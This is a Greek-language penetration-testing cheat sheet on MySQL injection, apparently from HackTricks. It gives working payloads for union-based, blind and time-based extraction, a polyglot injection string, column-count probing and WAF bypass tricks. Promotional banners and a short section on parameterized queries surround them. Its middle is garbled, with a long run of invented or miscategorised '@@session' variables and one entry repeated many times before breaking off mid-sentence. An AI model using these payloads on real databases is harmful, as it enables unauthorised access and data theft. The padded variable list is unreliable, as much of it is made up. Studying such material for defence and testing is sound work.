MySQL injection

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

​​RootedCON είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένας ζωηρός συναντήσεων τεχνολογίας και επαγγελματιών κυβερνοασφάλειας σε κάθε ειδικότητα.

Σχόλια

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Ενδιαφέρουσες Συναρτήσεις

Επιβεβαίωση Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Χρήσιμες συναρτήσεις

The following functions can be useful when performing MySQL injection attacks:

version()

This function returns the version of the MySQL database.

database()

This function returns the name of the current database.

user()

This function returns the username used to connect to the MySQL database.

current_user()

This function returns the current user.

schema()

This function returns the name of the current schema.

@@hostname

This function returns the hostname of the MySQL server.

@@datadir

This function returns the data directory of the MySQL server.

@@basedir

This function returns the base directory of the MySQL server.

@@version_compile_os

This function returns the operating system on which the MySQL server is running.

@@secure_file_priv

This function returns the secure file privilege value.

@@global.version

This function returns the global version of the MySQL server.

@@global.version_comment

This function returns the global version comment of the MySQL server.

@@global.hostname

This function returns the global hostname of the MySQL server.

@@global.datadir

This function returns the global data directory of the MySQL server.

@@global.basedir

This function returns the global base directory of the MySQL server.

@@global.version_compile_os

This function returns the global operating system on which the MySQL server is running.

@@global.secure_file_priv

This function returns the global secure file privilege value.

@@session.auto_increment_increment

This function returns the auto increment increment value for the current session.

@@session.auto_increment_offset

This function returns the auto increment offset value for the current session.

@@session.character_set_database

This function returns the character set used by the current database.

@@session.collation_database

This function returns the collation used by the current database.

@@session.sql_mode

This function returns the SQL mode for the current session.

@@session.time_zone

This function returns the time zone for the current session.

@@session.wait_timeout

This function returns the wait timeout value for the current session.

@@session.interactive_timeout

This function returns the interactive timeout value for the current session.

@@session.max_allowed_packet

This function returns the maximum allowed packet size for the current session.

@@session.net_read_timeout

This function returns the network read timeout value for the current session.

@@session.net_write_timeout

This function returns the network write timeout value for the current session.

@@session.query_cache_size

This function returns the query cache size for the current session.

@@session.query_cache_type

This function returns the query cache type for the current session.

@@session.query_cache_limit

This function returns the query cache limit for the current session.

@@session.max_connections

This function returns the maximum number of connections for the current session.

@@session.max_user_connections

This function returns the maximum number of user connections for the current session.

@@session.thread_cache_size

This function returns the thread cache size for the current session.

@@session.thread_stack

This function returns the thread stack size for the current session.

@@session.key_buffer_size

This function returns the key buffer size for the current session.

@@session.sort_buffer_size

This function returns the sort buffer size for the current session.

@@session.join_buffer_size

This function returns the join buffer size for the current session.

@@session.read_buffer_size

This function returns the read buffer size for the current session.

@@session.read_rnd_buffer_size

This function returns the read random buffer size for the current session.

@@session.tmp_table_size

This function returns the temporary table size for the current session.

@@session.max_heap_table_size

This function returns the maximum heap table size for the current session.

@@session.table_open_cache

This function returns the table open cache value for the current session.

@@session.open_files_limit

This function returns the open files limit value for the current session.

@@session.max_tmp_tables

This function returns the maximum temporary tables value for the current session.

@@session.innodb_buffer_pool_size

This function returns the InnoDB buffer pool size for the current session.

@@session.innodb_log_buffer_size

This function returns the InnoDB log buffer size for the current session.

@@session.innodb_log_file_size

This function returns the InnoDB log file size for the current session.

@@session.innodb_flush_log_at_trx_commit

This function returns the InnoDB flush log at transaction commit value for the current session.

@@session.innodb_file_per_table

This function returns the InnoDB file per table value for the current session.

@@session.innodb_flush_method

This function returns the InnoDB flush method for the current session.

@@session.innodb_lock_wait_timeout

This function returns the InnoDB lock wait timeout value for the current session.

@@session.innodb_thread_concurrency

This function returns the InnoDB thread concurrency value for the current session.

@@session.innodb_read_io_threads

This function returns the InnoDB read I/O threads value for the current session.

@@session.innodb_write_io_threads

This function returns the InnoDB write I/O threads value for the current session.

@@session.innodb_io_capacity

This function returns the InnoDB I/O capacity value for the current session.

@@session.innodb_io_capacity_max

This function returns the InnoDB maximum I/O capacity value for the current session.

@@session.innodb_stats_on_metadata

This function returns the InnoDB stats on metadata value for the current session.

@@session.innodb_buffer_pool_instances

This function returns the InnoDB buffer pool instances value for the current session.

@@session.innodb_adaptive_hash_index

This function returns the InnoDB adaptive hash index value for the current session.

@@session.innodb_flush_neighbors

This function returns the InnoDB flush neighbors value for the current session.

@@session.innodb_log_files_in_group

This function returns the InnoDB log files in group value for the current session.

@@session.innodb_open_files

This function returns the InnoDB open files value for the current session.

@@session.innodb_page_size

This function returns the InnoDB page size for the current session.

@@session.innodb_strict_mode

This function returns the InnoDB strict mode value for the current session.

@@session.innodb_file_format

This function returns the InnoDB file format for the current session.

@@session.innodb_file_format_max

This function returns the InnoDB maximum file format value for the current session.

@@session.innodb_large_prefix

This function returns the InnoDB large prefix value for the current session.

@@session.innodb_locks_unsafe_for_binlog

This function returns the InnoDB locks unsafe for binlog value for the current session.

@@session.innodb_support_xa

This function returns the InnoDB support XA value for the current session.

@@session.innodb_stats_auto_recalc

This function returns the InnoDB stats auto recalc value for the current session.

@@session.innodb_stats_persistent

This function returns the InnoDB stats persistent value for the current session.

@@session.innodb_stats_persistent_sample_pages

This function returns the InnoDB stats persistent sample pages value for the current session.

@@session.innodb_buffer_pool_dump_pct

This function returns the InnoDB buffer pool dump percentage value for the current session.

@@session.innodb_buffer_pool_load_pct

This function returns the InnoDB buffer pool load percentage value for the current session.

@@session.innodb_buffer_pool_dump_at_shutdown

This function returns the InnoDB buffer pool dump at shutdown value for the current session.

@@session.innodb_buffer_pool_load_at_startup

This function returns the InnoDB buffer pool load at startup value for the current session.

@@session.innodb_buffer_pool_filename

This function returns the InnoDB buffer pool filename for the current session.

@@session.innodb_buffer_pool_instances

This function returns the InnoDB buffer pool instances value for the current session.

@@session.innodb_buffer_pool_chunk_size

This function returns the InnoDB buffer pool chunk size for the current session.

@@session.innodb_buffer_pool_size

This function returns the InnoDB buffer pool size for the current session.

@@session.innodb_buffer_pool_pages_data

This function returns the InnoDB buffer pool pages data value for the current session.

@@session.innodb_buffer_pool_pages_dirty

This function returns the InnoDB buffer pool pages dirty value for the current session.

@@session.innodb_buffer_pool_pages_flushed

This function returns the InnoDB buffer pool pages flushed value for the current session.

@@session.innodb_buffer_pool_pages_free

This function returns the InnoDB buffer pool pages free value for the current session.

@@session.innodb_buffer_pool_pages_misc

This function returns the InnoDB buffer pool pages misc value for the current session.

@@session.innodb_buffer_pool_pages_total

This function returns the InnoDB buffer pool pages total value for the current session.

@@session.innodb_buffer_pool_read_ahead

This function returns the InnoDB buffer pool read ahead value for the current session.

@@session.innodb_buffer_pool_read_ahead_evicted

This function returns the InnoDB buffer pool read ahead evicted value for the current session.

@@session.innodb_buffer_pool_read_ahead_rnd

This function returns the InnoDB buffer pool read ahead random value for the current session.

@@session.innodb_buffer_pool_read_requests

This function returns the InnoDB buffer pool read requests value for the current session.

@@session.innodb_buffer_pool_reads

This function returns the InnoDB buffer pool reads value for the current session.

@@session.innodb_buffer_pool_wait_free

This function returns the InnoDB buffer pool wait free value for the current session.

@@session.innodb_buffer_pool_write_requests

This function returns the InnoDB buffer pool write requests value for the current session.

@@session.innodb_data_fsyncs

This function returns the InnoDB data fsyncs value for the current session.

@@session.innodb_data_pending_fsyncs

This function returns the InnoDB data pending fsyncs value for the current session.

@@session.innodb_data_pending_reads

This function returns the InnoDB data pending reads value for the current session.

@@session.innodb_data_pending_writes

This function returns the InnoDB data pending writes value for the current session.

@@session.innodb_data_read

This function returns the InnoDB data read value for the current session.

@@session.innodb_data_reads

This function returns the InnoDB data reads value for the current session.

@@session.innodb_data_writes

This function returns the InnoDB data writes value for the current session.

@@session.innodb_data_written

This function returns the InnoDB data written value for the current session.

@@session.innodb_dblwr_pages_written

This function returns the InnoDB double write pages written value for the current session.

@@session.innodb_dblwr_writes

This function returns the InnoDB double write writes value for the current session.

@@session.innodb_have_atomic_builtins

This function returns the InnoDB have atomic builtins value for the current session.

@@session.innodb_have_bzip2

This function returns the InnoDB have bzip2 value for the current session.

@@session.innodb_have_lz4

This function returns the InnoDB have lz4 value for the current session.

@@session.innodb_have_lzo

This function returns the InnoDB have lzo value for the current session.

@@session.innodb_have_snappy

This function returns the InnoDB have snappy value for the current session.

@@session.innodb_have_zlib

This function returns the InnoDB have zlib value for the current session.

@@session.innodb_log_waits

This function returns the InnoDB log waits value for the current session.

@@session.innodb_log_write_requests

This function returns the InnoDB log write requests value for the current session.

@@session.innodb_log_writes

This function returns the InnoDB log writes value for the current session.

@@session.innodb_os_log_fsyncs

This function returns the InnoDB OS log fsyncs value for the current session.

@@session.innodb_os_log_pending_fsyncs

This function returns the InnoDB OS log pending fsyncs value for the current session.

@@session.innodb_os_log_pending_writes

This function returns the InnoDB OS log pending writes value for the current session.

@@session.innodb_os_log_written

This function returns the InnoDB OS log written value for the current session.

@@session.innodb_page_cleaned

This function returns the InnoDB page cleaned value for the current session.

@@session.innodb_page_created

This function returns the InnoDB page created value for the current session.

@@session.innodb_page_read

This function returns the InnoDB page read value for the current session.

@@session.innodb_page_written

This function returns the InnoDB page written value for the current session.

@@session.innodb_pages_created

This function returns the InnoDB pages created value for the current session.

@@session.innodb_pages_read

This function returns the InnoDB pages read value for the current session.

@@session.innodb_pages_written

This function returns the InnoDB pages written value for the current session.

@@session.innodb_row_lock_current_waits

This function returns the InnoDB row lock current waits value for the current session.

@@session.innodb_row_lock_time

This function returns the InnoDB row lock time value for the current session.

@@session.innodb_row_lock_time_avg

This function returns the InnoDB row lock time average value for the current session.

@@session.innodb_row_lock_time_max

This function returns the InnoDB row lock time maximum value for the current session.

@@session.innodb_row_lock_waits

This function returns the InnoDB row lock waits value for the current session.

@@session.innodb_rows_deleted

This function returns the InnoDB rows deleted value for the current session.

@@session.innodb_rows_inserted

This function returns the InnoDB rows inserted value for the current session.

@@session.innodb_rows_read

This function returns the InnoDB rows read value for the current session.

@@session.innodb_rows_updated

This function returns the InnoDB rows updated value for the current session.

@@session.innodb_num_open_files

This function returns the InnoDB number of open files value for the current session.

@@session.innodb_truncated_status_writes

This function returns the InnoDB truncated status writes value for the current session.

@@session.innodb_available_undo_logs

This function returns the InnoDB available undo logs value for the current session.

@@session.innodb_undo_tablespaces

This function returns the InnoDB undo tablespaces value for the current session.

@@session.innodb_undo_logs

This function returns the InnoDB undo logs value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for the current session.

@@session.innodb_undo_log_truncate

This function returns the InnoDB undo log truncate value for

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Όλες οι ενέσεις

Εισαγωγή

Η ενέσεις SQL είναι μια από τις πιο κοινές ευπάθειες ασφαλείας που μπορεί να εκμεταλλευτεί ένας επιτιθέμενος για να αποκτήσει πρόσβαση σε μια βάση δεδομένων. Οι επιθέσεις ενέσεων SQL συμβαίνουν όταν ο εισαγωγέας δεδομένων δεν επικυρώνει σωστά τις εισαγωγές χρηστών και επιτρέπει στον επιτιθέμενο να εκτελέσει κακόβουλο κώδικα στη βάση δεδομένων.

Τύποι ενέσεων SQL

Υπάρχουν διάφοροι τύποι ενέσεων SQL που μπορούν να εκμεταλλευτούν οι επιτιθέμενοι. Ορισμένοι από αυτούς τους τύπους περιλαμβάνουν:

  • Ενέσεις SQL UNION: Ο επιτιθέμενος εκμεταλλεύεται την εντολή UNION για να συνδυάσει τα αποτελέσματα δύο ή περισσότερων ερωτημάτων SQL.

  • Ενέσεις SQL Time-Based: Ο επιτιθέμενος εκμεταλλεύεται την καθυστέρηση που προκαλείται από ένα ερώτημα SQL για να ανακτήσει πληροφορίες.

  • Ενέσεις SQL Error-Based: Ο επιτιθέμενος εκμεταλλεύεται τα σφάλματα που προκαλούνται από ένα ερώτημα SQL για να ανακτήσει πληροφορίες.

  • Ενέσεις SQL Boolean-Based: Ο επιτιθέμενος εκμεταλλεύεται την αληθή ή ψευδή απόκριση ενός ερωτήματος SQL για να ανακτήσει πληροφορίες.

  • Ενέσεις SQL Out-of-Band: Ο επιτιθέμενος εκμεταλλεύεται μη-κανονικές μεθόδους επικοινωνίας με τη βάση δεδομένων για να ανακτήσει πληροφορίες.

Προστασία από ενέσεις SQL

Για να προστατευτείτε από ενέσεις SQL, μπορείτε να λάβετε τα παρακάτω μέτρα ασφαλείας:

  • Χρησιμοποιήστε παραμετροποιημένα ερωτήματα: Χρησιμοποιήστε παραμετροποιημένα ερωτήματα για να αποτρέψετε την εκτέλεση κακόβουλου κώδικα.

  • Επικυρώστε την είσοδο του χρήστη: Επικυρώστε την είσοδο του χρήστη για να αποτρέψετε την εισαγωγή κακόβουλου κώδικα.

  • Περιορίστε τα δικαιώματα της βάσης δεδομένων: Περιορίστε τα δικαιώματα της βάσης δεδομένων για να περιορίσετε την πρόσβαση του επιτιθέμενου σε ευαίσθητα δεδομένα.

Συμπεράσματα

Οι ενέσεις SQL είναι μια σοβαρή απειλή για την ασφάλεια των εφαρμογών που χρησιμοποιούν βάσεις δεδομένων. Είναι σημαντικό να λαμβάνονται τα απαραίτητα μέτρα ασφαλείας για να προστατευτείτε από αυτές τις επιθέσεις.

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

από https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Ροή

Θυμηθείτε ότι σε "σύγχρονες" εκδόσεις του MySQL μπορείτε να αντικαταστήσετε "information_schema.tables" με "mysql.innodb_table_stats****" (Αυτό μπορεί να είναι χρήσιμο για να παρακάμψετε WAFs).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Μόνο 1 τιμή

  • group_concat()

  • Limit X,1

Τυφλή μία-μία

  • substr(version(),X,1)='r' ή substring(version(),X,1)=0x70 ή ascii(substr(version(),X,1))=112

  • mid(version(),X,1)='5'

Τυφλή προσθήκη

  • LPAD(version(),1...lenght(version()),'1')='asd'...

  • RPAD(version(),1...lenght(version()),'1')='asd'...

  • SELECT RIGHT(version(),1...lenght(version()))='asd'...

  • SELECT LEFT(version(),1...lenght(version()))='asd'...

  • SELECT INSTR('foobarbar', 'fo...')=1

Ανίχνευση αριθμού στηλών

Χρησιμοποιώντας ένα απλό ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

Οι επιθέσεις Union Based στη βάση δεδομένων MySQL είναι μια μέθοδος εκμετάλλευσης των ευπαθειών SQL Injection για να ανακτήσετε πληροφορίες από τη βάση δεδομένων. Αυτή η τεχνική εκμεταλλεύεται την ικανότητα της SQL να συνδυάζει τα αποτελέσματα πολλαπλών επιλογών ερωτημάτων UNION.

Για να εκτελέσετε μια επίθεση Union Based, πρέπει να εισαγάγετε μια ειδικά διαμορφωμένη συμβολοσειρά στην είσοδο της εφαρμογής που θα προκαλέσει ένα σφάλμα SQL. Στη συνέχεια, πρέπει να προσθέσετε το UNION SELECT statement για να ανακτήσετε τα επιθυμητά δεδομένα.

Για να εκτελέσετε μια επίθεση Union Based, πρέπει να γνωρίζετε τον αριθμό των στηλών στον πίνακα που επηρεάζεται από το ερώτημα UNION SELECT. Μπορείτε να χρησιμοποιήσετε τον αριθμό των στηλών για να ανακτήσετε πληροφορίες από άλλους πίνακες ή να εκτελέσετε άλλες ενέργειες.

Για να εκτελέσετε μια επίθεση Union Based, μπορείτε να χρησιμοποιήσετε τα εξής βήματα:

  1. Ανακτήστε τον αριθμό των στηλών στον πίνακα που επηρεάζεται από το UNION SELECT statement.

  2. Ανακτήστε τα ονόματα των στηλών στον πίνακα που επηρεάζεται από το UNION SELECT statement.

  3. Ανακτήστε τα δεδομένα από τον πίνακα που επηρεάζεται από το UNION SELECT statement.

Με τη χρήση της τεχνικής Union Based, μπορείτε να ανακτήσετε ευαίσθητες πληροφορίες από τη βάση δεδομένων MySQL, όπως ονόματα χρηστών, κωδικούς πρόσβασης και άλλα ευαίσθητα δεδομένα. Είναι σημαντικό να είστε προσεκτικοί κατά την εκτέλεση αυτής της τεχνικής, καθώς μπορεί να προκαλέσει ζημιά στη βάση δεδομένων ή να παραβιάσει την ιδιωτικότητα των χρηστών.

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Μάθετε εδώ διάφορες επιλογές για κατάχρηση ενός Mysql injection για να αποκτήσετε ένα SSRF.

Τεχνικές παράκαμψης WAF

Εναλλακτικές του information_schema

Θυμηθείτε ότι σε "σύγχρονες" εκδόσεις του MySQL μπορείτε να αντικαταστήσετε το information_schema.tables με το mysql.innodb_table_stats ή με το sys.x$schema_flattened_keys ή με το sys.schema_table_statistics

MySQLinjection χωρίς COMMAS

Επιλέξτε 2 στήλες χωρίς να χρησιμοποιήσετε κόμμα (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Ανάκτηση τιμών χωρίς το όνομα της στήλης

Εάν σε κάποιο σημείο γνωρίζετε το όνομα του πίνακα αλλά δεν γνωρίζετε το όνομα των στηλών μέσα στον πίνακα, μπορείτε να προσπαθήσετε να βρείτε πόσες στήλες υπάρχουν εκτελώντας κάτι όπως:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Υποθέτοντας ότι υπάρχουν 2 στήλες (η πρώτη είναι το ID) και η άλλη είναι η σημαία, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο περιεχόμενο της σημαίας δοκιμάζοντας χαρακτήρα προς χαρακτήρα:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Περισσότερες πληροφορίες στο https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Ιστορία του MySQL

Μπορείτε να δείτε άλλες εκτελέσεις μέσα στο MySQL διαβάζοντας τον πίνακα: sys.x$statement_analysis

Εναλλακτικές εκδόσεις

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Άλλοι οδηγοί για MYSQL εισαγωγή

Αναφορές

​​​​RootedCON είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή να προωθήσει την τεχνική γνώση, αυτό το συνέδριο είναι ένας ζωντανός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated